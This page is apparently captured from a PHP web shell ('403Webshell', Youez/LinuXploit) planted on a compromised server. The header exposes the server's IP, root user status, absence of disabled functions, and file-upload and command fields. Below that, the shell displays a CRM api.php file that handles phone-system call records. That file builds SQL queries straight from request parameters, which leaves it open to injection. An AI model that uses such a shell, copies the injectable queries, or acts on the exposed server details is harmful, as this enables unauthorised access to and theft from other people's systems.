403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/HardikS/8.3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/HardikS/8.3/api.php
<?php header ("Content-type: text/html; charset=utf-8");
header ("Cache-Control: no-cache, must-revalidate");  // HTTP/1.1
header ("Pragma: no-cache");  
header('Access-Control-Allow-Origin: *'); 
require_once('include/database/PearDatabase.php');
require_once('include/utils/utils.php');
include_once 'includes/main/WebUI.php';
include_once 'modules/Vtiger/models/Record.php';
global $adb,   $current_user ;
 $current_user = Users::getActiveAdminUser();
    
 
 function tatalog($arr,$log_id=""){ 
    $filename="tatalog".date('Ymd').".txt";
    if (file_exists($filename)) {
        $leadpostfile = fopen($filename, "a+");
        fwrite($leadpostfile,"\n". print_r($arr,true));
        fclose($leadpostfile);
    }else{
        $leadpostfile = fopen($filename, "w+");
        fwrite($leadpostfile, print_r($arr ,true));
        fclose($leadpostfile);
    }
      
}

function Logs($arr,$filename="logs"){ 
    $filename=$filename.".txt";
    if (file_exists($filename)) {
        $leadpostfile = fopen($filename, "a+");
        fwrite($leadpostfile,"\n". print_r($arr,true));
        fclose($leadpostfile);
    }else{
        $leadpostfile = fopen($filename, "w+");
        fwrite($leadpostfile, print_r($arr ,true));
        fclose($leadpostfile);
    }  
}


$action=$_REQUEST['action']; 

if($action=="updateCallDetail"){ 
    Logs($_REQUEST, "updateCallDetail");
    sendDataToCRM($_REQUEST); 
}

if(isset($_REQUEST['mobile'])&& $action=="add_edit_contact"){
    $firstname = $_REQUEST['firstname'];
    $lastname = $_REQUEST['lastname'];
    $phone = $_REQUEST['mobile'];
    
    
    $vicicontactsid = $adb->query("select vtiger_contactdetails.contactid from vtiger_contactdetails join vtiger_crmentity on vtiger_contactdetails.contactid=vtiger_crmentity.crmid 
join vtiger_contactsubdetails on vtiger_contactdetails.contactid=vtiger_contactsubdetails.contactsubscriptionid
where  vtiger_crmentity.deleted=0 and (vtiger_contactdetails.phone='$phone' or vtiger_contactdetails.mobile='$phone'  or vtiger_contactsubdetails.homephone='$phone'  or vtiger_contactsubdetails.otherphone='$phone')");
    $count_contacts=$adb->num_rows($vicicontactsid);
    
    
    
    //exit;
    if($count_contacts>0){
        $leadaddressid=$adb->query_result($vicicontactsid,0,'contactid');
        header("location:".$site_URL."/index.php?module=Contacts&view=Detail&record=$leadaddressid&app=MARKETING");
    }elseif($count_leads>0){
        $vicileadid = $adb->query("select * from vtiger_leadaddress join vtiger_crmentity on vtiger_leadaddress.leadaddressid=vtiger_crmentity.crmid where (vtiger_leadaddress.phone='$phone' or vtiger_leadaddress.mobile='$phone' or vtiger_leadaddress.phone='$phone' or vtiger_leadaddress.mobile='$phone') and vtiger_crmentity.deleted=0 and vtiger_crmentity.setype='Leads'");
        $count_leads=$adb->num_rows($vicileadid);
        $leadaddressid=$adb->query_result($vicileadid,0,'crmid');
        
        header("location:".$site_URL."/index.php?module=Leads&view=Detail&record=".$leadaddressid);
         
    }else{
        $leadaddressid=$adb->query_result($vicicontactsid,0,'crmid');
        header("location:".$site_URL."/index.php?module=Contacts&view=Edit&app=MARKETING&mobile=$phone");
    }
}



function sendDataToCRM($record, $id=1){
    global $adb,$storedcalls, $current_user;
    //$adb->setDebug(true);
    if($record['Direction']=="Internal"){
        exit;
    }
    $phone_crm_extension = ($record['Direction']=="Outbound")?$record['SourceDn']:$record['DestinationDn']; 
    $phone = ($record['Direction']=="Outbound")?$record['DestinationCallerId']:$record['SourceCallerId'];
	$userQuery = $adb->pquery("SELECT id from vtiger_users where vtiger_users.phone_crm_extension='$phone_crm_extension'");
    $user_num_rows = $adb->num_rows($userQuery); 
	$user=$adb->query_result($userQuery, 0,'id');
	$phone  = str_replace("(","",$phone);
	$phone  = str_replace(")","",$phone);
	$phone  = str_replace("-","",$phone);
 	$phone  = trim(ltrim(rtrim($phone)));
	//$phone = ltrim($phone, '1');
	$phone1 = $phone;
	$phone =  $phone;  
	$fieldquery_phonenumber = $adb->query("select vtiger_contactdetails.contactid from vtiger_contactdetails join vtiger_crmentity on vtiger_contactdetails.contactid=vtiger_crmentity.crmid 
join vtiger_contactsubdetails on vtiger_contactdetails.contactid=vtiger_contactsubdetails.contactsubscriptionid
where  vtiger_crmentity.deleted=0 and (vtiger_contactdetails.phone='$phone' or vtiger_contactdetails.mobile='$phone' or vtiger_contactdetails.phone='$phone1' or vtiger_contactdetails.mobile='$phone1'or vtiger_contactsubdetails.homephone='$phone' or vtiger_contactsubdetails.homephone='$phone1'or vtiger_contactsubdetails.otherphone='$phone' or vtiger_contactsubdetails.otherphone='$phone1')"); 
$num_rows11 = $adb->num_rows($fieldquery_phonenumber);
//     tatalog(array("query"=>"select vtiger_contactdetails.contactid from vtiger_contactdetails join vtiger_crmentity on vtiger_contactdetails.contactid=vtiger_crmentity.crmid 
// join vtiger_contactsubdetails on vtiger_contactdetails.contactid=vtiger_contactsubdetails.contactsubscriptionid
// where  vtiger_crmentity.deleted=0 and (vtiger_contactdetails.phone='$phone' or vtiger_contactdetails.mobile='$phone' or vtiger_contactdetails.phone='$phone1' or vtiger_contactdetails.mobile='$phone1'or vtiger_contactsubdetails.homephone='$phone' or vtiger_contactsubdetails.homephone='$phone1'or vtiger_contactsubdetails.otherphone='$phone' or vtiger_contactsubdetails.otherphone='$phone1')"));

 	if($num_rows11){
 	    $leadid=$adb->query_result($fieldquery_phonenumber, 0,'contactid');
 	}else{
 	    $fieldquery_phonenumber = $adb->query("select vtiger_leadaddress.leadaddressid from vtiger_leadaddress join vtiger_crmentity on vtiger_leadaddress.leadaddressid=vtiger_crmentity.crmid where  vtiger_crmentity.deleted=0 and (vtiger_leadaddress.phone='$phone' or vtiger_leadaddress.mobile='$phone' or vtiger_leadaddress.phone='$phone1' or vtiger_leadaddress.mobile='$phone1')");
 	    $num_rows11 = $adb->num_rows($fieldquery_phonenumber);
        $leadid=$adb->query_result($fieldquery_phonenumber, 0,'leadaddressid');
 	}  
    checkFileAccessForInclusion("modules/PBXManager/PBXManager.php");
	require_once("modules/PBXManager/PBXManager.php");
    include_once 'include/Webservices/Delete.php';
 
    $recordModel = PBXManager_Record_Model::getInstanceBySourceUUID($record['CallHistoryId']);
    if($recordModel->get('sourceuuid')){
        exit;
    }
    $calldata=getEndTimeFromDuration($record['StartTime'],$record['RingingDuration'],$record['TalkingDuration']);
	$OrderTaking_focus = new PBXManager();
	//Assign IatManager IatManage
	$OrderTaking_focus->column_fields['assigned_user_id'] =  $id;
	$OrderTaking_focus->column_fields['customer'] = $leadid;
	$OrderTaking_focus->column_fields['callstatus'] = $record['Status'];
	$OrderTaking_focus->column_fields['customernumber'] = $phone;
	$OrderTaking_focus->column_fields['user'] = $user;
    $OrderTaking_focus->column_fields['direction'] = $record['Direction'];
	$OrderTaking_focus->column_fields['sourceuuid'] = $record['CallHistoryId'];
	$OrderTaking_focus->column_fields['recordingurl'] = $record['RecordingUrl'];
	$OrderTaking_focus->column_fields['starttime'] =convertIsoToDbTime($record['StartTime']);
	$OrderTaking_focus->column_fields['endtime'] = $calldata['end_time'];
	$OrderTaking_focus->column_fields['totalduration'] = $calldata['totalduration'];
 	$OrderTaking_focus->column_fields['billduration'] = $calldata['TalkingDuration'];

	$OrderTaking_focus->save("PBXManager");
	$pfocusid = $OrderTaking_focus->id;
   // tatalog(array("pfocusid"=>$pfocusid));
    $query="SELECT * FROM vtiger_pbxmanager WHERE sourceuuid = ?";
    $result = $adb->pquery($query, array('123456'));
    $num_rowsp = $adb->num_rows($result);
    for ($i=0; $i <$num_rowsp; $i++) {  
       $pbxmanagerid=$adb->query_result($result, $i,'pbxmanagerid'); 
        $date_var = date("Y-m-d H:i:s");
        $query = "UPDATE vtiger_crmentity set deleted=1,modifiedtime=?,modifiedby=? where crmid=?";
        $adb->pquery($query, array($adb->formatDate($date_var, true), $current_user->id, $pbxmanagerid), true, "Error marking record deleted: ");
    }
    
}


function convertIsoToDbTime($isoTime, $toTimezone = null, $withMicroseconds = false) {
    try {
        $date = new DateTime($isoTime); // parse ISO time (Z = UTC)
        
        // Convert timezone if provided (e.g., 'Asia/Kolkata')
        if ($toTimezone) {
            $date->setTimezone(new DateTimeZone($toTimezone));
        }
        
        // Format based on preference
        $format = $withMicroseconds ? 'Y-m-d H:i:s.u' : 'Y-m-d H:i:s';
        return $date->format($format);
    } catch (Exception $e) {
        // Return null or log error if invalid date
        return null;
    }
}

function getEndTimeFromDuration($startTimeIso, $RingingDuration, $TalkingDuration) {
    try {
        // Parse start time (ISO8601 UTC)
        $startTime = new DateTime($startTimeIso);

        // Extract seconds (supporting decimals)
        if (preg_match('/PT([\d\.]+)S/', $RingingDuration, $matches)) {
            $RingingDuration = (float)$matches[1];
        } else {
            $RingingDuration = 0;
        }
        if (preg_match('/PT([\d\.]+)S/', $TalkingDuration, $matches)) {
            $TalkingDuration = (float)$matches[1];
        } else {
            $TalkingDuration = 0;
        }

        $totalduration= (float)$RingingDuration + (float)$TalkingDuration;
        $totalduration=(int)$totalduration;
        // Clone start time and add seconds
        $endTime = clone $startTime;
        $endTime->modify("+{$totalduration} seconds");

        return [
            'totalduration' => round($totalduration, 3), // readable seconds
            'TalkingDuration' => round($TalkingDuration, 3),
            'end_time' => $endTime->format('Y-m-d H:i:s.u')
        ];

    } catch (Exception $e) {
        return null;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit